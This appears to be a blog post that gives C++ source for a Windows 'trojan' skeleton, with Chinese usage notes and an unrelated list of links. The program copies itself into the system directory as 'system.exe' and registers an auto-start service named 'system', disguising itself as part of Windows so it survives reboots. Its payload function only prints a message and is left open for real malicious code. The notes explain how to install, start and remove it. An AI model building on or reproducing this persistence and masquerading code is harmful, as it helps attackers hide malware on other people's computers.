1 #include <iostream>
  2 #include <windows.h>
  3 #include <string>
  4 #include <string.h>
  5 #include <winsvc.h>
  6 
  7 using namespace std;
  8 
  9 BOOL InstallCmdService();
 10 void RemoveCmdService();
 11 void WINAPI ServiceMain(DWORD,LPTSTR *);
 12 void WINAPI ServiceCtrlHandle(DWORD);
 13 void door();
 14 
 15 SERVICE_STATUS m_ServiceStatus;
 16 SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
 17 BOOL bRunning = true;
 18 
 19 int main(int argc,char* argv[])
 20 {
 21     SERVICE_TABLE_ENTRYA DispatchTable[] = 
 22     {
 23         {"system",ServiceMain},
 24         {NULL,NULL}
 25     };
 26 
 27     if(2 == argc){
 28         if(!stricmp(argv[1],"-i")){    
 29             InstallCmdService();
 30         }
 31         if(!stricmp(argv[1],"-r")){
 32             RemoveCmdService();
 33         }
 34     }
 35     StartServiceCtrlDispatcher(DispatchTable);
 36     return 0;
 37 }
 38 
 39 void WINAPI ServiceMain(DWORD dwArgc,LPTSTR * lpArgv)
 40 {
 41     m_ServiceStatus.dwCheckPoint = 0;
 42     m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
 43     m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 44     m_ServiceStatus.dwServiceSpecificExitCode = 0;
 45     m_ServiceStatus.dwServiceType = SERVICE_WIN32;
 46     m_ServiceStatus.dwWaitHint = 0;
 47     m_ServiceStatus.dwWin32ExitCode = 0;
 48 
 49     m_ServiceStatusHandle = RegisterServiceCtrlHandler("system",ServiceCtrlHandle);
 50     if(m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0){
 51         return;
 52     }
 53     m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 54     m_ServiceStatus.dwCheckPoint = 0;
 55     m_ServiceStatus.dwWaitHint = 0;
 56     if(SetServiceStatus(m_ServiceStatusHandle,&m_ServiceStatus)){
 57         bRunning = true;
 58     }
 59     door();
 60 }
 61 
 62 void WINAPI ServiceCtrlHandle(DWORD Opcode)
 63 {
 64     switch(Opcode){
 65     case SERVICE_CONTROL_PAUSE:
 66         m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
 67         break;
 68     case SERVICE_CONTROL_CONTINUE:
 69         m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 70         break;
 71     case SERVICE_CONTROL_STOP:
 72         m_ServiceStatus.dwWin32ExitCode = 0;
 73         m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
 74         m_ServiceStatus.dwCheckPoint = 0;
 75         m_ServiceStatus.dwWaitHint = 0;
 76         SetServiceStatus(m_ServiceStatusHandle,&m_ServiceStatus);
 77         bRunning = false;
 78         break;
 79     case SERVICE_CONTROL_INTERROGATE:
 80         break;
 81     }
 82 }
 83 
 84 BOOL InstallCmdService()
 85 {
 86     char strDir[1024];
 87     SC_HANDLE schSCManager,schService;
 88 
 89     GetCurrentDirectory(1024,strDir);
 90     // If first parameter is NULL, GetModuleFileName retrieves the path of the executable file of the current process.
 91     GetModuleFileName(NULL,strDir,sizeof(strDir));
 92 
 93     char chSysPath[1024];
 94     GetSystemDirectory(chSysPath,sizeof(chSysPath));
 95     strcat(chSysPath,"\\system.exe");
 96 
 97     cout<<"strdir:"<<strDir<<endl;
 98     cout<<"sysPath:"<<chSysPath<<endl;
 99     if(CopyFile(strDir,chSysPath,false)){
100         cout<<"Copy file success!"<<endl;
101     }
102     strcpy(strDir,chSysPath);
103     schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
104     if(schSCManager == NULL){
105         cout<<"open scmanager failed! may be you have no privilege to do this."<<endl;
106         return false;
107     }
108     
109     LPCSTR lpBinaryPathName = strDir;    
110     schService = CreateService(schSCManager,"system","system",SC_MANAGER_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,lpBinaryPathName,
111                     NULL,NULL,NULL,NULL,NULL);
112 
113     if(schService){
114         cout<<"install service success!"<<endl;
115     }else{
116         return false;
117     }
118     CloseServiceHandle(schService);
119     return true;
120 }
121 
122 void RemoveCmdService()
123 {
124     SC_HANDLE scm,service;
125     char name[100];
126     SERVICE_STATUS status;
127     strcpy(name,"system");
128 
129     if((scm = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS)) == NULL){
130         cout<<"OpenSCManager Error"<<endl;
131     }
132     
133     service = OpenService(scm,name,SC_MANAGER_ALL_ACCESS|DELETE);
134     if(!service){
135         cout<<"OpenService Failed"<<endl;
136     }
137 
138     BOOL bSuccess = QueryServiceStatus(service,&status);
139     if(!bSuccess){
140         cout<<"QueryServiceStatus ERROR"<<endl;
141     }
142 
143     if(status.dwCurrentState != SERVICE_STOPPED){
144         bSuccess = ControlService(service,SERVICE_CONTROL_STOP,&status);
145         if(!bSuccess){
146             cout<<"ControlService ERROR!"<<endl;
147         }
148         Sleep(500);
149     }
150 
151     bSuccess = DeleteService(service);
152     if(!bSuccess){
153         cout<<"delete service error"<<endl;
154     }else{
155         cout<<"delete service success!"<<endl;
156     }
157 
158     CloseServiceHandle(service);
159     CloseServiceHandle(scm);
160 }
161 
162 void door()
163 {
164     cout<<"hi, trojan is running, haha!"<<endl;
165 }

使用方法：

编译的程序为hi.exe

1.安装服务：hi -i

hi.exe会被copy到%system%路径下，并命名为system.exe。安装的服务名为system

2.启动服务：net start system

3.卸载服务：hi -r

优质内容筛选与推荐>>
1、NetBeans IDE 6.7.1 with JavaFX Now Available for Download!
2、如何利用自定义的事件，在子组件中修改父组件里边的值？
3、Debian搭建vpn/pptp服务器
4、Magento Block设计分析(深入分析)
5、3D seismic data 之数据读写